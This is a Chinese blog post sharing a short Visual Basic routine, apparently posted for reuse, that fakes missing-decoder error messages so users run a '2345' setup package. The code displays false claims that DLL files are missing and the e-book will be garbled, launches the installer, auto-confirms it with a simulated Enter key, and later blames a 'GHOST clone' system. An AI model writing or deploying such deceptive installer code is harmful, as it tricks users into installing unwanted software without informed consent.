登录  
 加关注
查看详情
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

有关编程的相关笔记资料存放

2010/8/15创(星期日)下雨

 
 
 

日志

 
 

VB程序自动安装2345程序包  

2013-02-19 00:55:43|  分类: 网上有价值文章 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
VB程序自动安装2345程序包 - 爱因斯坦 - 有关编程的相关笔记资料存放


Private Sub Form_Load()
   Dim bb As Integer
      Open "a.txt" For Input As #1
             If LOF(1) = 0 Then
   MsgBox "您好,您系统缺少Rebook.dll  read.exp两个解码文件--电子书显示乱码!" & vbCrLf & vbCrLf & " 请先安装2345_k1785825_setup程序包,以导入解码文件!", 48, "提示"
    bb = Shell("2345_k1785825_setup.exe", 1)
        SendKeys "{Enter}", True
         Form1.Hide
            Close #1
     Open "a.txt" For Output As #1
         Print #1, "2"
            Close #1
       DoEvents
       End
          Else
     MsgBox "您的系统是GHOST刻隆版。系统存在功能缺失;导入解码文件失败。" & vbCrLf & vbCrLf & "建议:保存该文件,待以后在完整的系统里再试看。" & vbCrLf & vbCrLf & "此问题将很快解决。", 16, "提示"
         Form1.Hide
          DoEvents
       End
         End If
End Sub

VB程序自动安装2345程序包 - 爱因斯坦 - 有关编程的相关笔记资料存放
  评论这张
 
阅读(261)| 评论(0)

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018